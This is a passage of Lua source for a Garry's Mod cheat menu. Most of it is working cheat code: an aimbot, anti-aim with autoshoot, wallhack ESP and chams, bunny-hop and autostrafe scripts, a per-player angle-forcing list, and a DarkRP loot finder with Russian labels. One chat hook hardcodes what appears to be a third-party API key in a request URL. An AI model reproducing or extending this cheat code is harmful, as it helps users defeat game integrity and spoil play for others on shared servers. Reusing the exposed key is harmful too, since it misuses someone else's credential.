draw.SimpleText("4 = center spine,5 = stomach. More can be added at the top of the code","Font M",170,360,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,170,385,490,20,"Aimbot Bone",1, #AimbotPoints, 1)
end
if pMenuVars.Tabs[hvh].value then
pMenu.DrawCheckBox(Frame,170,55,"HvH Enable",false,"Enable")
pMenu.DrawCheckBox(Frame,170,100,"HvH Antiaim",false,"Enable AntiAim")
draw.SimpleText("Pitch Angle","Font M",170,125,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,170,150,490,20,"HvH Pitch",-360, 360, -180.05332,true)
draw.SimpleText("Yaw Angle","Font M",170,175,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,170,200,490,20,"HvH Yaw",-360, 360, -80,true)
draw.SimpleText("Style: 1 jitter spin, 2 spin, 3 random,4 at player,5 static,6 yaw + cam.y","Font M",170,225,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,170,250,200,20,"HvH Style",1, 6, 4)
if pMenuVars.Sliders["HvH Style"].value == 2 then
draw.SimpleText("Spin Speed (ang + (IntervalPerTick + Number)","Font M",380,250,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,380,275,285,20,"HvH Spin Speed",1, 1000, 235)
elseif pMenuVars.Sliders["HvH Style"].value == 3 then
draw.SimpleText("Random min/max","Font M",380,250,Color(255,255,255,255),TEXT_ALIGN_LEFT)
pMenu.DrawSlider(Frame,380,275,200,20,"HvH randomY",1, 180, 45)
end
pMenu.DrawCheckBox(Frame,170,310,"HvH Autoshoot",false,"Autoshoot")
pMenu.DrawCheckBox(Frame,170,460,"HvH pList",false,"pList")
end
if firsttime then
pMenuVars.Tabs[Visuals].value = false;
pMenuVars.Tabs[misc].value = false;
pMenuVars.Tabs[b1gExploits].value = false;
pMenuVars.Tabs[Aimbot].value = false;
pMenuVars.Tabs[hvh].value = true;
end
firsttime = false;
end
local PList = vgui.Create( "DFrame" )
PList:SetTitle( "" )
PList:SetSize( 300, ScrH() )
PList:SetPos(0,0)
PList:ShowCloseButton(false)
PList:MakePopup()
PList.Paint = function( self, w, h )
if pMenuVars.CheckBoxes["HvH pList"] != nil && pMenuVars.CheckBoxes["HvH pList"].value then
if pMenuVars.Tabs["HvH"].value != nil && pMenuVars.Tabs["HvH"].value then
pMenu.DrawRect(0, 0, w, h, Color( 32,45,54, 230 ))
draw.SimpleText("PList","Font L",w/2,1,Color(255,255,255,255),TEXT_ALIGN_CENTER)
draw.SimpleText("dont shooting?","Font M",w/2,21,Color(255,255,255,255),TEXT_ALIGN_CENTER)
draw.SimpleText("User It! :)","Font M",w/2,42,Color(255,255,255,255),TEXT_ALIGN_CENTER)
local up = 20;
local add = 50
local k = 0;
for _,v in pairs(player.GetAll()) do
k = k + 1;
if v == LocalPlayer() then
k = k -1
continue;
end
pMenu.DrawOutLinedRect(10,up + (k * add),280,44,Color(255,255,255,255))
pMenu.DrawRect(10,up + (k * add),280,44,Color(18,89,131,170))
draw.SimpleText(v:Nick(),"Font M",12,up + (k * add) + 3,Color(0,255,255,255))
draw.SimpleText("P:","Font M",175,up + (k * add) + 3,Color(0,255,255,255))
pMenu.DrawSlider(PList,190,up + (k * add),100,22,v:SteamID().."Force Pitch",-180, 180, 0,true)
draw.SimpleText("Y:","Font M",175,up + (k * add) + 24,Color(0,255,255,255))
pMenu.DrawSlider(PList,190,up + (k * add)+22,100,22,v:SteamID().."Force Yaw",-180, 180, 0,true)
pMenu.DrawCheckBox(PList,11,up + (k * add) + 23,v:SteamID().."Baim",false,"baim")
pMenu.DrawCheckBox(PList,75,up + (k * add) + 23,v:SteamID().."Force Ang",false,"Force Ang")
end
end
end
if Frame == NULL then
self:Close()
end
end
end
function pMenu.boundingbox(ply)
local iBoxWidth = 26;
local iBoxHeight = 71;
local pos = ply:GetBonePosition(ply:LookupBone( "ValveBiped.Bip01_Spine" ));
if (ply:Crouching()) then
pos = Vector(pos.x, pos.y, pos.z - 27);
iBoxHeight = 55;
else
pos = Vector(pos.x,pos.y,pos.z - 42.5);
end
local points = {
Vector(pos.x - iBoxWidth / 2, pos.y - iBoxWidth / 2, pos.z ),
Vector(pos.x - iBoxWidth / 2, pos.y + iBoxWidth / 2, pos.z ),
Vector(pos.x + iBoxWidth / 2, pos.y + iBoxWidth / 2, pos.z ),
Vector(pos.x + iBoxWidth / 2, pos.y - iBoxWidth / 2, pos.z ),
Vector(pos.x + iBoxWidth / 2, pos.y + iBoxWidth / 2, pos.z + iBoxHeight),
Vector(pos.x - iBoxWidth / 2, pos.y + iBoxWidth / 2, pos.z + iBoxHeight),
Vector(pos.x - iBoxWidth / 2, pos.y - iBoxWidth / 2, pos.z + iBoxHeight),
Vector(pos.x + iBoxWidth / 2, pos.y - iBoxWidth / 2, pos.z + iBoxHeight),
};
local flb = points[4]:ToScreen();
local brt = points[6]:ToScreen();
local blb = points[1]:ToScreen();
local frt = points[5]:ToScreen();
local frb = points[3]:ToScreen();
local brb = points[2]:ToScreen();
local blt = points[7]:ToScreen();
local flt = points[8]:ToScreen();
local arr = { flb, brt, blb, frt, frb, brb, blt, flt };
local t1 = flb.x;
local t2 = flb.y;
local t3 = flb.x;
local t4 = flb.y;
for i=1,8 do
if (t1 > arr[i].x) then
t1 = arr[i].x;
end
if (t4 < arr[i].y) then
t4 = arr[i].y;
end
if (t3 < arr[i].x) then
t3 = arr[i].x;
end
if (t2 > arr[i].y) then
t2 = arr[i].y;
end
end
return t1,t3,t2,t4;
end
function pMenu.PredictPos(pos)
local myvel = LocalPlayer():GetVelocity()
local pos = pos - (myvel * engine.TickInterval());
return pos;
end
function pMenu.SmoothAngle(angle,me,SmoothPercent)
local first = Vector(angle.x - me.x, math.NormalizeAngle(angle.y - me.y), 0.0);
local smoothX = me.x + first.x / 100 * SmoothPercent;
local smoothY = me.y + first.y / 100 * SmoothPercent;
return Angle(smoothX, math.NormalizeAngle(smoothY), 0.0);
end
function pMenu.GetAngle(src, dst)
local delta = pMenu.PredictPos(Vector(dst.x - src.x, dst.y - src.y, dst.z - src.z));
local hyp = math.sqrt(delta.x * delta.x + delta.y * delta.y);
local pitch = math.atan(delta.z/hyp) * Rad * -1;
local yaw = math.atan(delta.y / delta.x) * Rad;
if (delta.x >= 0) then
yaw = yaw + 180;
end
return Angle(pitch, math.NormalizeAngle(yaw - 180), 0.0);
end
function pMenu.GetAngleVector(src, dst)
local delta = pMenu.PredictPos(Vector(dst.x - src.x, dst.y - src.y, dst.z - src.z));
local hyp = math.sqrt(delta.x * delta.x + delta.y * delta.y);
local pitch = math.atan(delta.z/hyp) * Rad * -1;
local yaw = math.atan(delta.y / delta.x) * Rad;
if (delta.x >= 0) then
yaw = yaw + 180;
end
return Vector(pitch, math.NormalizeAngle(yaw - 180), 0.0);
end
function pMenu.ClosestEntToCross(limit,pcmd,bonee,Angle)
if limit == nil then
limit = 360;
end
local curAng = Vector(Angle.x,Angle.y + 180,0);
local curEye = LocalPlayer():EyePos()
local ret = NULL
local retDist = 1000;
for k,v in pairs(player.GetAll()) do
if v == LocalPlayer() || !v:Alive() then
continue;
end
local pos = Vector(0,0,0);
if bonee != nil then
pos = pMenu.PredictPos(v:GetBonePosition(v:LookupBone(bonee)))
else
pos = pMenu.PredictPos(v:GetBonePosition(v:LookupBone(AimbotPoints[pMenuVars.Sliders["Aimbot Bone"].value].bone)))
end
local tarAng = pMenu.GetAngleVector(curEye,pos);
tarAng = Vector(tarAng.x,tarAng.y + 180,0);
local dist = tarAng:Distance(curAng);
if dist <= limit && dist < retDist && LocalPlayer():IsLineOfSightClear(pos) then
ret = v;
retDist = dist;
end
end
return ret;
end
function pMenu.AAA(ply)
local Angles = ply:EyeAngles()
if pMenuVars.CheckBoxes[ply:SteamID().."Force Ang"] != nil && pMenuVars.CheckBoxes[ply:SteamID().."Force Ang"].value then
Angles.p = math.NormalizeAngle( math.Clamp(Angles.p,-89,89) + pMenuVars.Sliders[ply:SteamID().."Force Pitch"].value)
Angles.y = math.NormalizeAngle( math.NormalizeAngle(Angles.y) + pMenuVars.Sliders[ply:SteamID().."Force Yaw"].value)
end
ply:SetPoseParameter("aim_pitch", Angles.p);
ply:SetPoseParameter("body_yaw", Angles.y);
ply:SetPoseParameter("aim_yaw", 0);
ply:InvalidateBoneCache();
ply:SetRenderAngles(Angle(0, Angles.y, 0));
end
hook.Add("RenderScene","tes",function()
for k,v in pairs(player.GetAll()) do
if v == LocalPlayer() then
continue;
end
pMenu.AAA(v)
end
end)
function pMenu.DrawESP(ply)
local boxcolor = Color(pMenuVars.Sliders["ESP BoxColor.r"].value,pMenuVars.Sliders["ESP BoxColor.g"].value,pMenuVars.Sliders["ESP BoxColor.b"].value,255)
local textcolor = Color(pMenuVars.Sliders["ESP TextColor.r"].value,pMenuVars.Sliders["ESP TextColor.g"].value,pMenuVars.Sliders["ESP TextColor.b"].value,255)
local left,right,top,bottom = pMenu.boundingbox(ply)
if pMenuVars.CheckBoxes["ESP BoundingBox"].value then
surface.SetDrawColor(boxcolor);
surface.DrawOutlinedRect(left + 1,top + 1, (right - left) + 1,(bottom - top) + 1)
end
if pMenuVars.CheckBoxes["ESP HealthBar"].value then
surface.SetDrawColor(0,0,0,255);
surface.DrawRect(left - 5,top - 1 + 2,4, (bottom - top) / 100 * ply:Health() + 2)
surface.SetDrawColor(255,0,0,255);
surface.DrawRect(left - 4,top + 2,2, (bottom - top) / 100 * ply:Health())
end
if (pMenuVars.CheckBoxes["ESP Name"].value) then
draw.SimpleText(ply:Nick(),"Font L2",left + (right - left) / 2,top - 5,textcolor,TEXT_ALIGN_CENTER,TEXT_ALIGN_BOTTOM)
end
if (pMenuVars.CheckBoxes["ESP Position"].value) then
local pos = ply:GetPos();
draw.SimpleText("POS = ".."X: "..math.floor(pos.x).." Y: "..math.floor(pos.y).." Z: "..math.floor(pos.z),"Font L2",right + 3,top,textcolor,TEXT_ALIGN_LEFT,TEXT_ALIGN_TOP)
end
if (pMenuVars.CheckBoxes["ESP Angles"].value) then
local pos = ply:EyeAngles();
draw.SimpleText("ANG.X: "..(ply:EyeAngles().p),"Font L2",right + 3,top + 12,textcolor,TEXT_ALIGN_LEFT,TEXT_ALIGN_TOP)
draw.SimpleText("ANG.Y: "..(ply:EyeAngles().y),"Font L2",right + 3,top + 24,textcolor,TEXT_ALIGN_LEFT,TEXT_ALIGN_TOP)
draw.SimpleText("ANG.Z: "..(ply:EyeAngles().r),"Font L2",right + 3,top + 36,textcolor,TEXT_ALIGN_LEFT,TEXT_ALIGN_TOP)
end
if (pMenuVars.CheckBoxes["ESP Traceline"].value) then
local eyes = (ply:EyePos() + ply:EyeAngles():Forward() * pMenuVars.Sliders["ESP Traceline Distance"].value):ToScreen();
local eye = ply:EyePos():ToScreen();
surface.SetDrawColor(255,255,255,255)
if eye.visible && eyes.visible then
surface.DrawLine(eyes.x,eyes.y,eye.x,eye.y)
end
end
end
// pasted chams because l a z y
local chamsmat = CreateMaterial("a", "VertexLitGeneric", {
["$ignorez"] = 1,
["$model"] = 1,
["$basetexture"] = "models/debug/debugwhite",
})
local chamsmat2 = CreateMaterial("@", "VertexLitGeneric", {
["$ignorez"] = 0,
["$model"] = 1,
["$basetexture"] = "models/debug/debugwhite",
})
function pMenu.Chams(v)
local ChamVis = Color(pMenuVars.Sliders["ESP ChamVisColor.r"].value,pMenuVars.Sliders["ESP ChamVisColor.g"].value,pMenuVars.Sliders["ESP ChamVisColor.b"].value,255)
local ChamNVis = Color(pMenuVars.Sliders["ESP ChamNVisColor.r"].value,pMenuVars.Sliders["ESP ChamNVisColor.g"].value,pMenuVars.Sliders["ESP ChamNVisColor.b"].value,255)
cam.Start3D()
if v:IsValid() then
if pMenuVars.CheckBoxes["ESP XQZ"].value then
render.MaterialOverride(chamsmat)
render.SetColorModulation(ChamNVis.r/ 255, ChamNVis.g/255, ChamNVis.b/255)
v:DrawModel()
end
render.SetColorModulation(ChamVis.r / 255, ChamVis.g/ 255, ChamVis.b/ 255) // vis
render.MaterialOverride(chamsmat2)
v:DrawModel()
end
local wep = v:GetActiveWeapon()
local wep = v:GetActiveWeapon()
if wep:IsValid() then
if pMenuVars.CheckBoxes["ESP WeaponCham"].value then
render.MaterialOverride(chamsmat)
render.SetColorModulation(255/255, 0/255, 0/255, 255)
wep:DrawModel()
render.SetColorModulation(255/255, 255/255, 0/255, 255)
render.MaterialOverride(chamsmat2)
wep:DrawModel()
end
end
cam.End3D()
end
function pMenu.bhop(pcmd)
if (!LocalPlayer():IsOnGround() && !LocalPlayer():IsTyping() && pcmd:KeyDown(IN_JUMP)) then
pcmd:RemoveKey(IN_JUMP)
end
end
function pMenu.autostrafe(pcmd)
if !(LocalPlayer():IsOnGround()) && input.IsKeyDown(KEY_SPACE) then
if(pcmd:GetMouseX() > 1 or pcmd:GetMouseX() < -1) then
if(pcmd:GetMouseX() < 0) then
pcmd:SetSideMove(-400)
else
pcmd:SetSideMove(400)
end
else
pcmd:SetForwardMove(5850 / LocalPlayer():GetVelocity():Length2D())
pcmd:SetSideMove((pcmd:CommandNumber() % 2 == 0) and 400 or -400)
end
end
end
function pMenu.ToggleMenu()
if Frame == NULL then
pMenu.Menu()
else
Frame:Close()
Frame = NULL
end
end
function pMenu.FixMovement(pCmd,fa,angles)
local vec = Vector(pCmd:GetForwardMove(pCmd), pCmd:GetSideMove(), 0)
local vel = math.sqrt(vec.x*vec.x + vec.y*vec.y)
local mang = vec:Angle()
local yaw = angles.y - fa.y + mang.y
if (((angles.p+90)%360) > 180) then
yaw = 180 - yaw
end
yaw = ((yaw + 180)%360)-180
pCmd:SetForwardMove(math.cos(math.rad(yaw)) * vel)
pCmd:SetSideMove(math.sin(math.rad(yaw)) * vel)
end
function pMenu.Shoot(pcmd)
if(LocalPlayer():KeyDown(1)) then
pcmd:SetButtons(bit.band( pcmd:GetButtons(), bit.bnot( 1 ) ) );
else
pcmd:SetButtons(bit.bor( pcmd:GetButtons(), 1 ) );
end
end
hook.Add("RenderScreenspaceEffects","hkRenderScreenspaceEffects",function()
if (pMenuVars.CheckBoxes["ESP Chams"] != nil && pMenuVars.CheckBoxes["ESP Chams"].value && pMenuVars.CheckBoxes["ESP"] != nil && pMenuVars.CheckBoxes["ESP"].value) then
for k,v in pairs(player.GetAll()) do
if v != LocalPlayer() && v:Alive() && !v:IsDormant() && v:Health() > 1 then
pMenu.Chams(v);
end
end
end
end)
hook.Add("PreDrawHalos","hkPreDrawHalos",function()
if (pMenuVars.CheckBoxes["ESP Glow"] != nil && pMenuVars.CheckBoxes["ESP Glow"].value && pMenuVars.CheckBoxes["ESP"] != nil && pMenuVars.CheckBoxes["ESP"].value) then
local tab = {}
for k,v in pairs(player.GetAll()) do
if v != LocalPlayer() && v:Alive() then
tab[k] = v;
end
end
halo.Add( tab, Color( 255, 255, 255 ), 2, 2, 4,true,true )
end
end)
hook.Add("HUDPaint","hkHUDPaint",function()
for k,v in pairs(player.GetAll()) do
if v != LocalPlayer() && v:Alive() then
if pMenuVars.CheckBoxes["ESP"] != nil && pMenuVars.CheckBoxes["ESP"].value then
pMenu.DrawESP(v)
end
end
end
if pMenuVars.CheckBoxes["Aibmot Show fov circle"] != nil && pMenuVars.CheckBoxes["Aibmot Show fov circle"].value then
local End = (ScrW() / (LocalPlayer():GetFOV() + 60) ) * pMenuVars.Sliders["Aimbot FOV"].value;
pMenu.DrawCircle(ScrW() / 2,ScrH() / 2, End, 70,Color(pMenuVars.Sliders["Aimbot Circle.r"].value,pMenuVars.Sliders["Aimbot Circle.g"].value,pMenuVars.Sliders["Aimbot Circle.b"].value,pMenuVars.Sliders["Aimbot Circle.a"].value))
end
end)
local View = Angle();
hook.Add("CalcView","hkCalcView",function(ply, pos1, angles, fov)
if (pMenuVars.CheckBoxes["HvH Enable"] != nil && pMenuVars.CheckBoxes["HvH Enable"].value) then
local view = {}
local ang = View
view.angles = View
local angfwd = ang:Forward();
local distance = pMenuVars.Sliders["MISC Thirdperson Distance"].value
local endpoz = Vector(pos1.x - distance * angfwd.x,pos1.y - distance * angfwd.y, pos1.z - distance * angfwd.z);
local tracelines = util.TraceLine({start = LocalPlayer():EyePos(),endpos = endpoz, filter = LocalPlayer()})
view.origin = tracelines.HitPos
view.drawviewer = true;
return view;
end
if pMenuVars.CheckBoxes["MISC Thirdperson"] != nil && pMenuVars.CheckBoxes["MISC Thirdperson"].value then
local view = {}
local ang = angles
view.angles = ang
local angfwd = ang:Forward();
local distance = pMenuVars.Sliders["MISC Thirdperson Distance"].value
local endpoz = Vector(pos1.x - distance * angfwd.x,pos1.y - distance * angfwd.y, pos1.z - distance * angfwd.z);
local tracelines = util.TraceLine({start = LocalPlayer():EyePos(),endpos = endpoz, filter = LocalPlayer()})
view.origin = tracelines.HitPos
view.drawviewer = true;
return view;
end
end)
local t = 0;
local jitter = false;
local AShoot = false;
hook.Add("CreateMove","hkCreateMove",function(pCmd)
if pMenuVars.CheckBoxes["MISC Bhop"] != nil && pMenuVars.CheckBoxes["MISC Bhop"].value then
pMenu.bhop(pCmd)
end
if pMenuVars.CheckBoxes["MISC Autostrafe"] != nil && pMenuVars.CheckBoxes["MISC Autostrafe"].value then
pMenu.autostrafe(pCmd)
end
if pMenuVars.CheckBoxes["Aibmot Enable"] != nil && pMenuVars.CheckBoxes["Aibmot Enable"].value then
if input.IsKeyDown(pMenuVars.Sliders["Aimbot Key"].value) then
local nearest = pMenu.ClosestEntToCross(pMenuVars.Sliders["Aimbot FOV"].value,pCmd,AimbotPoints[pMenuVars.Sliders["Aimbot Bone"].value].bone,pCmd:GetViewAngles());
if nearest != NULL then
local Eye = LocalPlayer():EyePos();
local target = nearest:GetBonePosition(nearest:LookupBone(AimbotPoints[pMenuVars.Sliders["Aimbot Bone"].value].bone))
local End = Angle();
if pMenuVars.CheckBoxes["Aibmot Smooth"].value then
End = pMenu.SmoothAngle(pMenu.GetAngle(Eye,target),pCmd:GetViewAngles(),pMenuVars.Sliders["Aimbot Smooth AMT"].value);
else
End = pMenu.GetAngle(Eye,target)
end
pCmd:SetViewAngles(End)
end
end
end
if input.IsKeyDown(KEY_DELETE) then
t = t + 1
if t == 1 then
pMenu.ToggleMenu()
end
else
t = 0;
end
local fwdmouse = Vector(pCmd:GetMouseX(),pCmd:GetMouseY(),0)
View.y = math.NormalizeAngle(View.y + ( ((fwdmouse.x / 250) * GetConVar("sensitivity"):GetInt() )* -1) );
View.x = math.Clamp(View.x + ( ((fwdmouse.y / 250) * GetConVar("sensitivity"):GetInt() )),-89,89 );
View:Normalize()
if (pMenuVars.CheckBoxes["HvH Enable"] != nil && pMenuVars.CheckBoxes["HvH Enable"].value) then
local CurAngles = pCmd:GetViewAngles()
local Anglez = Angle(View.x,View.y,0);
if (pMenuVars.CheckBoxes["HvH Antiaim"].value) then
Anglez = Angle(pMenuVars.Sliders["HvH Pitch"].value,pMenuVars.Sliders["HvH Yaw"].value,0);
local style = pMenuVars.Sliders["HvH Style"].value;
if style == 1 then
jitter = !jitter;
if jitter then
Anglez.y = math.NormalizeAngle(CurAngles.y + Anglez.y + 100);
else
Anglez.y = math.NormalizeAngle(CurAngles.y + Anglez.y + 10);
end
elseif style == 2 then
Anglez.y = math.NormalizeAngle(CurAngles.y + (engine.TickInterval() * pMenuVars.Sliders["HvH Spin Speed"].value));
elseif style == 3 then
local rand = pMenuVars.Sliders["HvH randomY"].value;
Anglez.y = math.NormalizeAngle(CurAngles.y + Anglez.y + math.random(rand * -1,rand));
elseif style == 4 then
local ent = pMenu.ClosestEntToCross(720,pCmd,"ValveBiped.Bip01_Head1",View)
if ent == NULL then
Anglez.y = math.NormalizeAngle(Anglez.y + View.y);
else
local poz = ent:GetBonePosition(ent:LookupBone("ValveBiped.Bip01_Head1"));
local End = pMenu.GetAngle(LocalPlayer():EyePos(),poz);
Anglez.y = math.NormalizeAngle(End.y + Anglez.y);
end
elseif style == 5 then
Anglez.y = math.NormalizeAngle(Anglez.y);
elseif style == 6 then
Anglez.y = math.NormalizeAngle(View.y + Anglez.y);
end
end
if pMenuVars.CheckBoxes["HvH Autoshoot"].value || input.IsKeyDown(pMenuVars.Sliders["Aimbot Key"].value) then
AShoot = !AShoot;
if AShoot then
local ent = pMenu.ClosestEntToCross(720,pCmd,"ValveBiped.Bip01_Head1",View);
if ent != NULL then
local poz = Vector(0,0,0);
if pMenuVars.CheckBoxes[ent:SteamID().."Baim"] != nil && pMenuVars.CheckBoxes[ent:SteamID().."Baim"].value then
local center = ent:OBBCenter()
poz = ent:GetPos() + center;
else
poz = ent:GetBonePosition(ent:LookupBone("ValveBiped.Bip01_Head1"));
end
local End = pMenu.GetAngle(LocalPlayer():EyePos(),poz);
Anglez.x = math.Clamp(End.x,-89,89)
Anglez.y = math.NormalizeAngle(End.y);
pMenu.Shoot(pCmd)
end
end
end
if Anglez != nil then
pCmd:SetViewAngles(Anglez)
end
pMenu.FixMovement(pCmd,View,pCmd:GetViewAngles())
end
end)
hook.Add( "OnPlayerChat", "hkOnPlayerChat", function( ply, strText, bTeam, bDead )
if pMenuVars.CheckBoxes["MISC Text to speech is fucking aids"] != nil && pMenuVars.CheckBoxes["MISC Text to speech is fucking aids"].value then
strText = string.lower( strText )
local player = ply:Nick()
local text = player.." said "..strText;
sound.PlayURL("https://api.ispeech.org/api/rest?apikey=34b06ef0ba220c09a817fe7924575123&action=convert&voice=usenglishmale&speed=1&pitch=100&text="..text,"mono",function(snd)
if IsValid(snd) then
snd:Play()
snd:SetVolume(1)
end
end)
end
end)
concommand.Add("Defqon_bigmenu",pMenu.ToggleMenu)
//////////////////////////////////////////////////////////////////////////////////
// Got bored ended up getting this far in like 4 ish hours I can't type fast :\ //
//////////////////////////////////////////////////////////////////////////////////
/*
CreateClientConVar( "gravko_esp", "0", true, true)
local function gravesp2()
if tobool( GetConVarNumber( "gravko_esp" ) ) then
for k, v in pairs( player.GetAll() ) do
local pos = ( v:GetShootPos() + Vector( 0, 0, 30) ):ToScreen()
draw.SimpleTextOutlined( v:Nick(), "Default", pos.x + 40, pos.y + 15, Color(0,255,0), 1, 1, 1, Color( 0, 0, 0, 255 ) )
local hp = "HP: "..v:Health()
local teamcol = team.GetColor(v:Team())
local wep2 = v:GetActiveWeapon()
local rank1 = "["..v:GetUserGroup().."]"
local friend = v:GetFriendStatus()
local targetDistance = math.floor((LocalPlayer():GetPos():Distance( v:GetPos()))/40)
local targetDistance3 = math.floor((LocalPlayer():GetPos():Distance( v:GetPos()))/100000)
//draw.SimpleTextOutlined( targetDistance, "Default", pos.x + 40, pos.y + 30, Color(255,160,0), 1, 1, 1, Color( 0, 0, 0, 255 ) )
draw.SimpleTextOutlined( hp, "Default", pos.x + 40, pos.y + 27, Color(255,160,0), 1, 1, 1, Color( 0, 0, 0, 255 ) )
draw.SimpleTextOutlined( rank1, "Default", pos.x + 40, pos.y + 5, Color(255,0,0), 1, 1, 1, Color( 0, 0, 0, 255 ) )
//draw.SimpleTextOutlined( friend, "Default", pos.x + 40, pos.y + 20, Color(0,150,255), 1, 1, 1, Color( 0, 0, 0, 255 ) )
local boxpos2 = ( v:GetShootPos() + Vector( 0, 0, 30) ):ToScreen()
draw.RoundedBox(5, pos.x - 6, pos.y + targetDistance3, 11, 11, Color(teamcol.r,teamcol.g,teamcol.b, 255), 1)
end
end
end
hook.Add( "HUDPaint", "esp2", gravesp2)
-------------------------------------------------------- */
showunk = CreateClientConVar("gmhax_ShowUnknownEntity", "1", true, true)
shouldloot = CreateClientConVar("gmhax_showdarkrploot2", "0", true, true)
hook.Add("HUDPaint", "findtherpshit", function()
if shouldloot:GetBool() then
for k, v in pairs(ents.GetAll()) do
local mDistance = math.floor((LocalPlayer():GetPos():Distance( v:GetPos()))/40)
Pos = v:GetPos():ToScreen()
if not string.find(v:GetClass(), "prop") and not string.find(v:GetClass(), "func") and not string.find(v:GetClass(), "class") and not string.find(v:GetClass(), "env") and not string.find(v:GetClass(), "player") and not string.find(v:GetClass(), "view") and not string.find(v:GetClass(), "world") and not string.find(v:GetClass(), "weapon_") and not string.find(v:GetClass(), "gmod") and not string.find(v:GetClass(), "beam") and not string.find(v:GetClass(), "manipulate") and not string.find(v:GetClass(), "sent") and not string.find(v:GetClass(), "m9k") and not string.find(v:GetClass(), "gun") and not string.find(v:GetClass(), "pocket") and not string.find(v:GetClass(), "vending") and not string.find(v:GetClass(), "npc") and not string.find(v:GetClass(), "sammy") and not string.find(v:GetClass(), "stunstick") and not string.find(v:GetClass(), "unarrest_stick") and not string.find(v:GetClass(), "arrest_stick") and not string.find(v:GetClass(), "door") and not string.find(v:GetClass(), "keys") and not string.find(v:GetClass(), "keypad") and not string.find(v:GetClass(), "lock") and not string.find(v:GetClass(), "chat") and not string.find(v:GetClass(), "gmt") and not string.find(v:GetClass(), "weaponchecker") and not string.find(v:GetClass(), "Keypad") and not string.find(v:GetClass(), "med_") and not string.find(v:GetClass(), "darkrp") and not string.find(v:GetClass(), "swep") and not string.find(v:GetClass(), "fas2") and not string.find(v:GetClass(), "ent_spike") and not string.find(v:GetClass(), "car") and not string.find(v:GetClass(), "fuel") and not string.find(v:GetClass(), "taser") and not string.find(v:GetClass(), "point") and not string.find(v:GetClass(), "hook") and not string.find(v:GetClass(), "tv") and not string.find(v:GetClass(), "newspaper") and not string.find(v:GetClass(), "atm") and not string.find(v:GetClass(), "handcuffs") and not string.find(v:GetClass(), "payphone") and not string.find(v:GetClass(), "wire") then
if string.find(v:GetClass(), "printer") then
// draw.RoundedBox(5, Pos.x - 6, Pos.y - 30, 11, 11, Color(0, 0, 255, 255), 1)
// draw.RoundedBox(6, Pos.x + 5, Pos.y - 38, 100, 40, Color(0,0,0,120), 1)
draw.SimpleTextOutlined("Принтер", "Default", Pos.x + 25, Pos.y - 30, Color(0,255,0), 1, 1, 1, Color(0,0,0,255))
draw.SimpleTextOutlined(v:GetClass(), "Default", Pos.x + 54, Pos.y - 20, Color(255,170,0), 1, 1, 1, Color(0,0,0,255))
draw.SimpleTextOutlined("["..mDistance.."]", "Default", Pos.x + 18, Pos.y - 8, Color(255,0,0), 1, 1, 1, Color(0,0,0,255))
elseif v:GetClass() == "spawned_shipment" then
// draw.RoundedBox(5, Pos.x - 6, Pos.y - 30, 11, 11, Color(0, 0, 255, 255), 1)
// draw.RoundedBox(6, Pos.x + 5, Pos.y - 38, 100, 40, Color(0,0,0,120), 1)
draw.SimpleTextOutlined("Ящики", "Default", Pos.x + 30, Pos.y - 30, Color(0,255,0), 1, 1, 1, Color(0,0,0,255))
draw.SimpleTextOutlined(v:GetClass(), "Default", Pos.x + 55, Pos.y - 20, Color(255,170,0), 1, 1, 1, Color(0,0,0,255))
draw.SimpleTextOutlined("["..mDistance.."]", "Default", Pos.x + 18, Pos.y - 8, Color(255,0,0), 1, 1, 1, Color(0,0,0,255))
elseif string.find(v:GetClass(), "durgz") then
// draw.RoundedBox(5, Pos.x - 6, Pos.y - 30, 11, 11, Color(0, 0, 255, 255), 1)
// draw.RoundedBox(6, Pos.x + 5, Pos.y - 38, 95, 40, Color(0,0,0,120), 1)
draw.SimpleTextOutlined("Наркота", "Default", Pos.x + 23, Pos.y - 30, Color(0,255,0), 1, 1, 1, Color(0,0,0,255))
draw.SimpleTextOutlined(v:GetClass(), "Default", Pos.x + 50, Pos.y - 20, Color(255,170,0), 1, 1, 1, Color(0,0,0,255))
draw.SimpleTextOutlined("["..mDistance.."]", "Default", Pos.x + 18, Pos.y - 8, Color(255,0,0), 1, 1, 1, Color(0,0,0,255))
elseif v:GetClass() == "spawned_weapon" then
//draw.RoundedBox(5, Pos.x - 6, Pos.y - 30, 11, 11, Color(0, 0, 255, 255), 1)
// draw.RoundedBox(6, Pos.x + 5, Pos.y - 38, 95, 40, Color(0,0,0,120), 1)
draw.SimpleTextOutlined("Оружие", "Default", Pos.x + 25, Pos.y - 30, Color(0,255,0), 1, 1, 1, Color(0,0,0,255))
draw.SimpleTextOutlined(v:GetClass(), "Default", Pos.x + 50, Pos.y - 20, Color(255,170,0), 1, 1, 1, Color(0,0,0,255))
draw.SimpleTextOutlined("["..mDistance.."]", "Default", Pos.x + 18, Pos.y - 8, Color(255,0,0), 1, 1, 1, Color(0,0,0,255))
elseif v:GetClass() == "spawned_money" then
// draw.RoundedBox(5, Pos.x - 6, Pos.y - 30, 11, 11, Color(0, 0, 255, 255), 1)
// draw.RoundedBox(6, Pos.x + 5, Pos.y - 38, 95, 40, Color(0,0,0,120), 1)
draw.SimpleTextOutlined("Деньги", "Default", Pos.x + 25, Pos.y - 30, Color(0,255,0), 1, 1, 1, Color(0,0,0,255))
draw.SimpleTextOutlined(v:GetClass(), "Default", Pos.x + 50, Pos.y - 20, Color(255,170,0), 1, 1, 1, Color(0,0,0,255))
draw.SimpleTextOutlined("["..mDistance.."]", "Default", Pos.x + 18, Pos.y - 8, Color(255,0,0), 1, 1, 1, Color(0,0,0,255))
else
if showunk:GetBool() then
// draw.RoundedBox(5, Pos.x - 6, Pos.y - 30, 11, 11, Color(0, 0, 255, 255), 1)
// draw.RoundedBox(6, Pos.x + 5, Pos.y - 38, 95, 40, Color(0,0,0,120), 1)
//draw.SimpleTextOutlined("Неизвестное энтити", "Default", Pos.x + 47, Pos.y - 30, Color(0,255,0), 1, 1, 1, Color(0,0,0,255))
draw.SimpleTextOutlined(v:GetClass(), "Default", Pos.x + 53, Pos.y - 20, Color(255,170,0), 1, 1, 1, Color(0,0,0,255))
draw.SimpleTextOutlined("["..mDistance.."]", "Default", Pos.x + 18, Pos.y - 8, Color(255,0,0), 1, 1, 1, Color(0,0,0,255))
end
end
end
end
end
